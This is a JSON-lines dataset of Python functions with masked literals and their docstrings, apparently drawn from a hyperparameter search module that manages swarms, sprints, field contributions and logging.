{"signature": "def getEncoderNameFromKey(self, key):", "body": "return key.split('<STR_LIT:|>')[-<NUM_LIT:1>]<EOL>", "docstring": "Given an encoder dictionary key, get the encoder name.\n\n        Encoders are a sub-dict within model params, and in HSv2, their key\n        is structured like this for example:\n           'modelParams|sensorParams|encoders|home_winloss'\n\n        The encoderName is the last word in the | separated key name", "id": "f17586:c0:m5"}
{"signature": "def getEncoderKeyFromName(self, name):", "body": "return '<STR_LIT>' % (name)<EOL>", "docstring": "Given an encoder name, get the key.\n\n        Encoders are a sub-dict within model params, and in HSv2, their key\n        is structured like this for example:\n           'modelParams|sensorParams|encoders|home_winloss'\n\n        The encoderName is the last word in the | separated key name", "id": "f17586:c0:m6"}
{"signature": "def getFieldContributions(self):", "body": "<EOL>if self._hsObj._fixedFields is not None:<EOL><INDENT>return dict(), dict()<EOL><DEDENT>predictedEncoderName = self._hsObj._predictedFieldEncoder<EOL>fieldScores = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>encodersUsed = swarmId.split('<STR_LIT:.>')<EOL>if len(encodersUsed) != <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>field = self.getEncoderNameFromKey(encodersUsed[<NUM_LIT:0>])<EOL>bestScore = info['<STR_LIT>']<EOL>if bestScore is None:<EOL><INDENT>(_modelId, bestScore) =self._hsObj._resultsDB.bestModelIdAndErrScore(swarmId)<EOL><DEDENT>fieldScores.append((bestScore, field))<EOL><DEDENT>if self._hsObj._searchType == HsSearchType.legacyTemporal:<EOL><INDENT>assert(len(fieldScores)==<NUM_LIT:1>)<EOL>(baseErrScore, baseField) = fieldScores[<NUM_LIT:0>]<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>encodersUsed = swarmId.split('<STR_LIT:.>')<EOL>if len(encodersUsed) != <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>fields = [self.getEncoderNameFromKey(name) for name in encodersUsed]<EOL>fields.remove(baseField)<EOL>fieldScores.append((info['<STR_LIT>'], fields[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fieldScores.sort(reverse=True)<EOL>if self._hsObj._maxBranching > <NUM_LIT:0>and len(fieldScores) > self._hsObj._maxBranching:<EOL><INDENT>baseErrScore = fieldScores[-self._hsObj._maxBranching-<NUM_LIT:1>][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>baseErrScore = fieldScores[<NUM_LIT:0>][<NUM_LIT:0>]<EOL><DEDENT><DEDENT>pctFieldContributionsDict = dict()<EOL>absFieldContributionsDict = dict()<EOL>if baseErrScore is not None:<EOL><INDENT>if abs(baseErrScore) < <NUM_LIT>:<EOL><INDENT>baseErrScore = <NUM_LIT><EOL><DEDENT>for (errScore, field) in fieldScores:<EOL><INDENT>if errScore is not None:<EOL><INDENT>pctBetter = (baseErrScore - errScore) * <NUM_LIT> / baseErrScore<EOL><DEDENT>else:<EOL><INDENT>pctBetter = <NUM_LIT:0.0><EOL>errScore = baseErrScore   <EOL><DEDENT>pctFieldContributionsDict[field] = pctBetter<EOL>absFieldContributionsDict[field] = baseErrScore - errScore<EOL><DEDENT><DEDENT>self.logger.debug(\"<STR_LIT>\" % (pctFieldContributionsDict))<EOL>return pctFieldContributionsDict, absFieldContributionsDict<EOL>", "docstring": "Return the field contributions statistics.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   Dictionary where the keys are the field names and the values\n                    are how much each field contributed to the best score.", "id": "f17586:c0:m7"}
{"signature": "def getAllSwarms(self, sprintIdx):", "body": "swarmIds = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>if info['<STR_LIT>'] == sprintIdx:<EOL><INDENT>swarmIds.append(swarmId)<EOL><DEDENT><DEDENT>return swarmIds<EOL>", "docstring": "Return the list of all swarms in the given sprint.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   list of active swarm Ids in the given sprint", "id": "f17586:c0:m8"}
{"signature": "def getActiveSwarms(self, sprintIdx=None):", "body": "swarmIds = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>if sprintIdx is not None and info['<STR_LIT>'] != sprintIdx:<EOL><INDENT>continue<EOL><DEDENT>if info['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>swarmIds.append(swarmId)<EOL><DEDENT><DEDENT>return swarmIds<EOL>", "docstring": "Return the list of active swarms in the given sprint. These are swarms\n        which still need new particles created in them.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        sprintIdx:    which sprint to query. If None, get active swarms from all\n                          sprints\n        retval:   list of active swarm Ids in the given sprint", "id": "f17586:c0:m9"}
{"signature": "def getNonKilledSwarms(self, sprintIdx):", "body": "swarmIds = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>if info['<STR_LIT>'] == sprintIdx and info['<STR_LIT:status>'] != '<STR_LIT>':<EOL><INDENT>swarmIds.append(swarmId)<EOL><DEDENT><DEDENT>return swarmIds<EOL>", "docstring": "Return the list of swarms in the given sprint that were not killed.\n        This is called when we are trying to figure out which encoders to carry\n        forward to the next sprint. We don't want to carry forward encoder\n        combintations which were obviously bad (in killed swarms).\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   list of active swarm Ids in the given sprint", "id": "f17586:c0:m10"}
{"signature": "def getCompletedSwarms(self):", "body": "swarmIds = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>if info['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>swarmIds.append(swarmId)<EOL><DEDENT><DEDENT>return swarmIds<EOL>", "docstring": "Return the list of all completed swarms.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   list of active swarm Ids", "id": "f17586:c0:m11"}
{"signature": "def getCompletingSwarms(self):", "body": "swarmIds = []<EOL>for swarmId, info in self._state['<STR_LIT>'].items():<EOL><INDENT>if info['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>swarmIds.append(swarmId)<EOL><DEDENT><DEDENT>return swarmIds<EOL>", "docstring": "Return the list of all completing swarms.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   list of active swarm Ids", "id": "f17586:c0:m12"}
{"signature": "def bestModelInCompletedSwarm(self, swarmId):", "body": "swarmInfo = self._state['<STR_LIT>'][swarmId]<EOL>return (swarmInfo['<STR_LIT>'],<EOL>swarmInfo['<STR_LIT>'])<EOL>", "docstring": "Return the best model ID and it's errScore from the given swarm.\n        If the swarm has not completed yet, the bestModelID will be None.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   (modelId, errScore)", "id": "f17586:c0:m13"}
{"signature": "def bestModelInCompletedSprint(self, sprintIdx):", "body": "sprintInfo = self._state['<STR_LIT>'][sprintIdx]<EOL>return (sprintInfo['<STR_LIT>'],<EOL>sprintInfo['<STR_LIT>'])<EOL>", "docstring": "Return the best model ID and it's errScore from the given sprint.\n        If the sprint has not completed yet, the bestModelID will be None.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   (modelId, errScore)", "id": "f17586:c0:m14"}
{"signature": "def bestModelInSprint(self, sprintIdx):", "body": "<EOL>swarms = self.getAllSwarms(sprintIdx)<EOL>bestModelId = None<EOL>bestErrScore = numpy.inf<EOL>for swarmId in swarms:<EOL><INDENT>(modelId, errScore) = self._hsObj._resultsDB.bestModelIdAndErrScore(swarmId)<EOL>if errScore < bestErrScore:<EOL><INDENT>bestModelId = modelId<EOL>bestErrScore = errScore<EOL><DEDENT><DEDENT>return (bestModelId, bestErrScore)<EOL>", "docstring": "Return the best model ID and it's errScore from the given sprint,\n        which may still be in progress. This returns the best score from all models\n        in the sprint which have matured so far.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   (modelId, errScore)", "id": "f17586:c0:m15"}
{"signature": "def setSwarmState(self, swarmId, newStatus):", "body": "assert (newStatus in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>swarmInfo = self._state['<STR_LIT>'][swarmId]<EOL>if swarmInfo['<STR_LIT:status>'] == newStatus:<EOL><INDENT>return<EOL><DEDENT>if swarmInfo['<STR_LIT:status>'] == '<STR_LIT>' and newStatus == '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>self._dirty = True<EOL>swarmInfo['<STR_LIT:status>'] = newStatus<EOL>if newStatus == '<STR_LIT>':<EOL><INDENT>(modelId, errScore) = self._hsObj._resultsDB.bestModelIdAndErrScore(swarmId)<EOL>swarmInfo['<STR_LIT>'] = modelId<EOL>swarmInfo['<STR_LIT>'] = errScore<EOL><DEDENT>if newStatus != '<STR_LIT>' and swarmId in self._state['<STR_LIT>']:<EOL><INDENT>self._state['<STR_LIT>'].remove(swarmId)<EOL><DEDENT>if newStatus=='<STR_LIT>':<EOL><INDENT>self._hsObj.killSwarmParticles(swarmId)<EOL><DEDENT>sprintIdx = swarmInfo['<STR_LIT>']<EOL>self.isSprintActive(sprintIdx)<EOL>sprintInfo = self._state['<STR_LIT>'][sprintIdx]<EOL>statusCounts = dict(active=<NUM_LIT:0>, completing=<NUM_LIT:0>, completed=<NUM_LIT:0>, killed=<NUM_LIT:0>)<EOL>bestModelIds = []<EOL>bestErrScores = []<EOL>for info in self._state['<STR_LIT>'].values():<EOL><INDENT>if info['<STR_LIT>'] != sprintIdx:<EOL><INDENT>continue<EOL><DEDENT>statusCounts[info['<STR_LIT:status>']] += <NUM_LIT:1><EOL>if info['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>bestModelIds.append(info['<STR_LIT>'])<EOL>bestErrScores.append(info['<STR_LIT>'])<EOL><DEDENT><DEDENT>if statusCounts['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>sprintStatus = '<STR_LIT>'<EOL><DEDENT>elif statusCounts['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>sprintStatus = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sprintStatus = '<STR_LIT>'<EOL><DEDENT>sprintInfo['<STR_LIT:status>'] = sprintStatus<EOL>if sprintStatus == '<STR_LIT>':<EOL><INDENT>if len(bestErrScores) > <NUM_LIT:0>:<EOL><INDENT>whichIdx = numpy.array(bestErrScores).argmin()<EOL>sprintInfo['<STR_LIT>'] = bestModelIds[whichIdx]<EOL>sprintInfo['<STR_LIT>'] = bestErrScores[whichIdx]<EOL><DEDENT>else:<EOL><INDENT>sprintInfo['<STR_LIT>'] = <NUM_LIT:0><EOL>sprintInfo['<STR_LIT>'] = numpy.inf<EOL><DEDENT>bestPrior = numpy.inf<EOL>for idx in range(sprintIdx):<EOL><INDENT>if self._state['<STR_LIT>'][idx]['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>(_, errScore) = self.bestModelInCompletedSprint(idx)<EOL>if errScore is None:<EOL><INDENT>errScore = numpy.inf<EOL><DEDENT><DEDENT>else:<EOL><INDENT>errScore = numpy.inf<EOL><DEDENT>if errScore < bestPrior:<EOL><INDENT>bestPrior = errScore<EOL><DEDENT><DEDENT>if sprintInfo['<STR_LIT>'] >= bestPrior:<EOL><INDENT>self._state['<STR_LIT>'] = sprintIdx-<NUM_LIT:1><EOL><DEDENT>if self._state['<STR_LIT>'] is not Noneand not self.anyGoodSprintsActive():<EOL><INDENT>self._state['<STR_LIT>'] = True<EOL><DEDENT><DEDENT>", "docstring": "Change the given swarm's state to 'newState'. If 'newState' is\n        'completed', then bestModelId and bestErrScore must be provided.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        swarmId:      swarm Id\n        newStatus:    new status, either 'active', 'completing', 'completed', or\n                        'killed'", "id": "f17586:c0:m16"}
{"signature": "def anyGoodSprintsActive(self):", "body": "if self._state['<STR_LIT>'] is not None:<EOL><INDENT>goodSprints = self._state['<STR_LIT>'][<NUM_LIT:0>:self._state['<STR_LIT>']+<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>goodSprints = self._state['<STR_LIT>']<EOL><DEDENT>for sprint in goodSprints:<EOL><INDENT>if sprint['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>anyActiveSprints = True<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>anyActiveSprints = False<EOL><DEDENT>return anyActiveSprints<EOL>", "docstring": "Return True if there are any more good sprints still being explored.\n        A 'good' sprint is one that is earlier than where we detected an increase\n        in error from sprint to subsequent sprint.", "id": "f17586:c0:m17"}
{"signature": "def isSprintCompleted(self, sprintIdx):", "body": "numExistingSprints = len(self._state['<STR_LIT>'])<EOL>if sprintIdx >= numExistingSprints:<EOL><INDENT>return False<EOL><DEDENT>return (self._state['<STR_LIT>'][sprintIdx]['<STR_LIT:status>'] == '<STR_LIT>')<EOL>", "docstring": "Return True if the given sprint has completed.", "id": "f17586:c0:m18"}
{"signature": "def killUselessSwarms(self):", "body": "<EOL>numExistingSprints = len(self._state['<STR_LIT>'])<EOL>if self._hsObj._searchType == HsSearchType.legacyTemporal:<EOL><INDENT>if numExistingSprints <= <NUM_LIT:2>:<EOL><INDENT>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if numExistingSprints <= <NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT><DEDENT>completedSwarms = self.getCompletedSwarms()<EOL>completedSwarms = [(swarm, self._state[\"<STR_LIT>\"][swarm],<EOL>self._state[\"<STR_LIT>\"][swarm][\"<STR_LIT>\"])for swarm in completedSwarms]<EOL>completedMatrix = [[] for i in range(numExistingSprints)]<EOL>for swarm in completedSwarms:<EOL><INDENT>completedMatrix[swarm[<NUM_LIT:1>][\"<STR_LIT>\"]].append(swarm)<EOL><DEDENT>for sprint in completedMatrix:<EOL><INDENT>sprint.sort(key=itemgetter(<NUM_LIT:2>))<EOL><DEDENT>activeSwarms = self.getActiveSwarms()<EOL>activeSwarms.extend(self.getCompletingSwarms())<EOL>activeSwarms = [(swarm, self._state[\"<STR_LIT>\"][swarm],<EOL>self._state[\"<STR_LIT>\"][swarm][\"<STR_LIT>\"])for swarm in activeSwarms]<EOL>activeMatrix = [[] for i in range(numExistingSprints)]<EOL>for swarm in activeSwarms:<EOL><INDENT>activeMatrix[swarm[<NUM_LIT:1>][\"<STR_LIT>\"]].append(swarm)<EOL><DEDENT>for sprint in activeMatrix:<EOL><INDENT>sprint.sort(key=itemgetter(<NUM_LIT:2>))<EOL><DEDENT>toKill = []<EOL>for i in range(<NUM_LIT:1>, numExistingSprints):<EOL><INDENT>for swarm in activeMatrix[i]:<EOL><INDENT>curSwarmEncoders = swarm[<NUM_LIT:0>].split(\"<STR_LIT:.>\")<EOL>if(len(activeMatrix[i-<NUM_LIT:1>])==<NUM_LIT:0>):<EOL><INDENT>if i==<NUM_LIT:2> and (self._hsObj._tryAll3FieldCombinations orself._hsObj._tryAll3FieldCombinationsWTimestamps):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>bestInPrevious = completedMatrix[i-<NUM_LIT:1>][<NUM_LIT:0>]<EOL>bestEncoders = bestInPrevious[<NUM_LIT:0>].split('<STR_LIT:.>')<EOL>for encoder in bestEncoders:<EOL><INDENT>if not encoder in curSwarmEncoders:<EOL><INDENT>toKill.append(swarm)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if len(toKill) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" + str(toKill))<EOL><DEDENT>for swarm in toKill:<EOL><INDENT>self.setSwarmState(swarm[<NUM_LIT:0>], \"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "See if we can kill off some speculative swarms. If an earlier sprint\n        has finally completed, we can now tell which fields should *really* be present\n        in the sprints we've already started due to speculation, and kill off the\n        swarms that should not have been included.", "id": "f17586:c0:m19"}
{"signature": "def isSprintActive(self, sprintIdx):", "body": "while True:<EOL><INDENT>numExistingSprints = len(self._state['<STR_LIT>'])<EOL>if sprintIdx <= numExistingSprints-<NUM_LIT:1>:<EOL><INDENT>if not self._hsObj._speculativeParticles:<EOL><INDENT>active = (self._state['<STR_LIT>'][sprintIdx]['<STR_LIT:status>'] == '<STR_LIT>')<EOL>return (active, False)<EOL><DEDENT>else:<EOL><INDENT>active = (self._state['<STR_LIT>'][sprintIdx]['<STR_LIT:status>'] == '<STR_LIT>')<EOL>if not active:<EOL><INDENT>return (active, False)<EOL><DEDENT>activeSwarmIds = self.getActiveSwarms(sprintIdx)<EOL>swarmSizes = [self._hsObj._resultsDB.getParticleInfos(swarmId,<EOL>matured=False)[<NUM_LIT:0>] for swarmId in activeSwarmIds]<EOL>notFullSwarms = [len(swarm) for swarm in swarmSizesif len(swarm) < self._hsObj._minParticlesPerSwarm]<EOL>if len(notFullSwarms) > <NUM_LIT:0>:<EOL><INDENT>return (True, False)<EOL><DEDENT><DEDENT><DEDENT>if self._state['<STR_LIT>'] is not None:<EOL><INDENT>return (False, True)<EOL><DEDENT>if self._hsObj._fixedFields is not None:<EOL><INDENT>return (False, True)<EOL><DEDENT>if sprintIdx > <NUM_LIT:0>and self._state['<STR_LIT>'][sprintIdx-<NUM_LIT:1>]['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>(bestModelId, _) = self.bestModelInCompletedSprint(sprintIdx-<NUM_LIT:1>)<EOL>(particleState, _, _, _, _) = self._hsObj._resultsDB.getParticleInfo(<EOL>bestModelId)<EOL>bestSwarmId = particleState['<STR_LIT>']<EOL>baseEncoderSets = [bestSwarmId.split('<STR_LIT:.>')]<EOL><DEDENT>else:<EOL><INDENT>bestSwarmId = None<EOL>particleState = None<EOL>baseEncoderSets = []<EOL>for swarmId in self.getNonKilledSwarms(sprintIdx-<NUM_LIT:1>):<EOL><INDENT>baseEncoderSets.append(swarmId.split('<STR_LIT:.>'))<EOL><DEDENT><DEDENT>encoderAddSet = []<EOL>limitFields = False<EOL>if self._hsObj._maxBranching > <NUM_LIT:0>or self._hsObj._minFieldContribution >= <NUM_LIT:0>:<EOL><INDENT>if self._hsObj._searchType == HsSearchType.temporal orself._hsObj._searchType == HsSearchType.classification:<EOL><INDENT>if sprintIdx >= <NUM_LIT:1>:<EOL><INDENT>limitFields = True<EOL>baseSprintIdx = <NUM_LIT:0><EOL><DEDENT><DEDENT>elif self._hsObj._searchType == HsSearchType.legacyTemporal:<EOL><INDENT>if sprintIdx >= <NUM_LIT:2>:<EOL><INDENT>limitFields = True<EOL>baseSprintIdx = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(self._hsObj._searchType))<EOL><DEDENT><DEDENT>if limitFields:<EOL><INDENT>pctFieldContributions, absFieldContributions =self.getFieldContributions()<EOL>toRemove = []<EOL>self.logger.debug(\"<STR_LIT>\" %(self._hsObj._minFieldContribution))<EOL>for fieldname in pctFieldContributions:<EOL><INDENT>if pctFieldContributions[fieldname] < self._hsObj._minFieldContribution:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" % (fieldname))<EOL>toRemove.append(self.getEncoderKeyFromName(fieldname))<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" % (fieldname))<EOL><DEDENT><DEDENT>swarms = self._state[\"<STR_LIT>\"]<EOL>sprintSwarms = [(swarm, swarms[swarm][\"<STR_LIT>\"])for swarm in swarms if swarms[swarm][\"<STR_LIT>\"] == baseSprintIdx]<EOL>sprintSwarms = sorted(sprintSwarms, key=itemgetter(<NUM_LIT:1>))<EOL>if self._hsObj._maxBranching > <NUM_LIT:0>:<EOL><INDENT>sprintSwarms = sprintSwarms[<NUM_LIT:0>:self._hsObj._maxBranching]<EOL><DEDENT>for swarm in sprintSwarms:<EOL><INDENT>swarmEncoders = swarm[<NUM_LIT:0>].split(\"<STR_LIT:.>\")<EOL>for encoder in swarmEncoders:<EOL><INDENT>if not encoder in encoderAddSet:<EOL><INDENT>encoderAddSet.append(encoder)<EOL><DEDENT><DEDENT><DEDENT>encoderAddSet = [encoder for encoder in encoderAddSetif not str(encoder) in toRemove]<EOL><DEDENT>else:<EOL><INDENT>encoderAddSet = self._hsObj._encoderNames<EOL><DEDENT>newSwarmIds = set()<EOL>if (self._hsObj._searchType == HsSearchType.temporalor self._hsObj._searchType == HsSearchType.legacyTemporal)and sprintIdx == <NUM_LIT:2>and (self._hsObj._tryAll3FieldCombinations orself._hsObj._tryAll3FieldCombinationsWTimestamps):<EOL><INDENT>if self._hsObj._tryAll3FieldCombinations:<EOL><INDENT>newEncoders = set(self._hsObj._encoderNames)<EOL>if self._hsObj._predictedFieldEncoder in newEncoders:<EOL><INDENT>newEncoders.remove(self._hsObj._predictedFieldEncoder)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newEncoders = set(encoderAddSet)<EOL>if self._hsObj._predictedFieldEncoder in newEncoders:<EOL><INDENT>newEncoders.remove(self._hsObj._predictedFieldEncoder)<EOL><DEDENT>for encoder in self._hsObj._encoderNames:<EOL><INDENT>if encoder.endswith('<STR_LIT>') or encoder.endswith('<STR_LIT>')or encoder.endswith('<STR_LIT>'):<EOL><INDENT>newEncoders.add(encoder)<EOL><DEDENT><DEDENT><DEDENT>allCombos = list(itertools.combinations(newEncoders, <NUM_LIT:2>))<EOL>for combo in allCombos:<EOL><INDENT>newSet = list(combo)<EOL>newSet.append(self._hsObj._predictedFieldEncoder)<EOL>newSet.sort()<EOL>newSwarmId = '<STR_LIT:.>'.join(newSet)<EOL>if newSwarmId not in self._state['<STR_LIT>']:<EOL><INDENT>newSwarmIds.add(newSwarmId)<EOL>if (len(self.getActiveSwarms(sprintIdx-<NUM_LIT:1>)) > <NUM_LIT:0>):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for baseEncoderSet in baseEncoderSets:<EOL><INDENT>for encoder in encoderAddSet:<EOL><INDENT>if encoder not in self._state['<STR_LIT>']and encoder not in baseEncoderSet:<EOL><INDENT>newSet = list(baseEncoderSet)<EOL>newSet.append(encoder)<EOL>newSet.sort()<EOL>newSwarmId = '<STR_LIT:.>'.join(newSet)<EOL>if newSwarmId not in self._state['<STR_LIT>']:<EOL><INDENT>newSwarmIds.add(newSwarmId)<EOL>if (len(self.getActiveSwarms(sprintIdx-<NUM_LIT:1>)) > <NUM_LIT:0>):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>newSwarmIds = sorted(newSwarmIds)<EOL>if len(newSwarmIds) == <NUM_LIT:0>:<EOL><INDENT>if len(self.getAllSwarms(sprintIdx)) > <NUM_LIT:0>:<EOL><INDENT>return (True, False)<EOL><DEDENT>else:<EOL><INDENT>return (False, True)<EOL><DEDENT><DEDENT>self._dirty = True<EOL>if len(self._state[\"<STR_LIT>\"]) == sprintIdx:<EOL><INDENT>self._state['<STR_LIT>'].append({'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None})<EOL><DEDENT>for swarmId in newSwarmIds:<EOL><INDENT>self._state['<STR_LIT>'][swarmId] = {'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': sprintIdx}<EOL><DEDENT>self._state['<STR_LIT>'] = self.getActiveSwarms()<EOL>success = self.writeStateToDB()<EOL>if success:<EOL><INDENT>return (True, False)<EOL><DEDENT><DEDENT>", "docstring": "If the given sprint exists and is active, return active=True.\n\n        If the sprint does not exist yet, this call will create it (and return\n        active=True). If it already exists, but is completing or complete, return\n        active=False.\n\n        If sprintIdx is past the end of the possible sprints, return\n          active=False, noMoreSprints=True\n\n        IMPORTANT: When speculative particles are enabled, this call has some\n        special processing to handle speculative sprints:\n\n          * When creating a new speculative sprint (creating sprint N before\n          sprint N-1 has completed), it initially only puts in only ONE swarm into\n          the sprint.\n\n          * Every time it is asked if sprint N is active, it also checks to see if\n          it is time to add another swarm to the sprint, and adds a new swarm if\n          appropriate before returning active=True\n\n          * We decide it is time to add a new swarm to a speculative sprint when ALL\n          of the currently active swarms in the sprint have all the workers they\n          need (number of running (not mature) particles is _minParticlesPerSwarm).\n          This means that we have capacity to run additional particles in a new\n          swarm.\n\n        It is expected that the sprints will be checked IN ORDER from 0 on up. (It\n        is an error not to) The caller should always try to allocate from the first\n        active sprint it finds. If it can't, then it can call this again to\n        find/create the next active sprint.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:   (active, noMoreSprints)\n                    active: True if the given sprint is active\n                    noMoreSprints: True if there are no more sprints possible", "id": "f17586:c0:m20"}
{"signature": "def debug(self, msg, *args, **kwargs):", "body": "self._baseLogger.debug(self, self.getExtendedMsg(msg), *args, **kwargs)<EOL>", "docstring": "Log 'msg % args' with severity 'DEBUG'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.debug(\"Houston, we have a %s\", \"thorny problem\", exc_info=1)", "id": "f17587:c0:m3"}
{"signature": "def info(self, msg, *args, **kwargs):", "body": "self._baseLogger.info(self, self.getExtendedMsg(msg), *args, **kwargs)<EOL>", "docstring": "Log 'msg % args' with severity 'INFO'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.info(\"Houston, we have a %s\", \"interesting problem\", exc_info=1)", "id": "f17587:c0:m4"}
{"signature": "def warning(self, msg, *args, **kwargs):", "body": "self._baseLogger.warning(self, self.getExtendedMsg(msg), *args, **kwargs)<EOL>", "docstring": "Log 'msg % args' with severity 'WARNING'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.warning(\"Houston, we have a %s\", \"bit of a problem\", exc_info=1)", "id": "f17587:c0:m5"}
{"signature": "def error(self, msg, *args, **kwargs):", "body": "self._baseLogger.error(self, self.getExtendedMsg(msg), *args, **kwargs)<EOL>", "docstring": "Log 'msg % args' with severity 'ERROR'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.error(\"Houston, we have a %s\", \"major problem\", exc_info=1)", "id": "f17587:c0:m6"}
{"signature": "def critical(self, msg, *args, **kwargs):", "body": "self._baseLogger.critical(self, self.getExtendedMsg(msg), *args, **kwargs)<EOL>", "docstring": "Log 'msg % args' with severity 'CRITICAL'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.critical(\"Houston, we have a %s\", \"major disaster\", exc_info=1)", "id": "f17587:c0:m7"}
{"signature": "def log(self, level, msg, *args, **kwargs):", "body": "self._baseLogger.log(self, level, self.getExtendedMsg(msg), *args,<EOL>**kwargs)<EOL>", "docstring": "Log 'msg % args' with the integer severity 'level'.\n\nTo pass exception information, use the keyword argument exc_info with\na true value, e.g.\n\nlogger.log(level, \"We have a %s\", \"mysterious problem\", exc_info=1)", "id": "f17587:c0:m8"}
{"signature": "def getTerminationCallbacks(self, terminationFunc):", "body": "activities = [None] * len(ModelTerminator._MILESTONES)<EOL>for index, (iteration, _) in enumerate(ModelTerminator._MILESTONES):<EOL><INDENT>cb = functools.partial(terminationFunc, index=index)<EOL>activities[index] = PeriodicActivityRequest(repeating =False,<EOL>period = iteration,<EOL>cb=cb)<EOL><DEDENT>", "docstring": "Returns the periodic checks to see if the model should\n        continue running.\n\n        Parameters:\n        -----------------------------------------------------------------------\n        terminationFunc:  The function that will be called in the model main loop\n                          as a wrapper around this function. Must have a parameter\n                          called 'index'\n\n        Returns:          A list of PeriodicActivityRequest objects.", "id": "f17589:c0:m1"}
{"signature": "def recordDataPoint(self, swarmId, generation, errScore):", "body": "terminatedSwarms = []<EOL>if swarmId in self.swarmScores:<EOL><INDENT>entry = self.swarmScores[swarmId]<EOL>assert(len(entry) == generation)<EOL>entry.append(errScore)<EOL>entry = self.swarmBests[swarmId]<EOL>entry.append(min(errScore, entry[-<NUM_LIT:1>]))<EOL>assert(len(self.swarmBests[swarmId]) == len(self.swarmScores[swarmId]))<EOL><DEDENT>else:<EOL><INDENT>assert (generation == <NUM_LIT:0>)<EOL>self.swarmScores[swarmId] = [errScore]<EOL>self.swarmBests[swarmId] = [errScore]<EOL><DEDENT>if generation + <NUM_LIT:1> < self.MATURITY_WINDOW:<EOL><INDENT>return terminatedSwarms<EOL><DEDENT>if self.MAX_GENERATIONS is not None and generation > self.MAX_GENERATIONS:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>' %<EOL>(swarmId, self.MAX_GENERATIONS))<EOL>terminatedSwarms.append(swarmId)<EOL><DEDENT>if self._isTerminationEnabled:<EOL><INDENT>terminatedSwarms.extend(self._getTerminatedSwarms(generation))<EOL><DEDENT>cumulativeBestScores = self.swarmBests[swarmId]<EOL>if cumulativeBestScores[-<NUM_LIT:1>] == cumulativeBestScores[-self.MATURITY_WINDOW]:<EOL><INDENT>self._logger.info('<STR_LIT>'<EOL>'<STR_LIT>'% (swarmId, self.MATURITY_WINDOW))<EOL>terminatedSwarms.append(swarmId)<EOL><DEDENT>self.terminatedSwarms = self.terminatedSwarms.union(terminatedSwarms)<EOL>return terminatedSwarms<EOL>", "docstring": "Record the best score for a swarm's generation index (x)\n        Returns list of swarmIds to terminate.", "id": "f17590:c0:m1"}
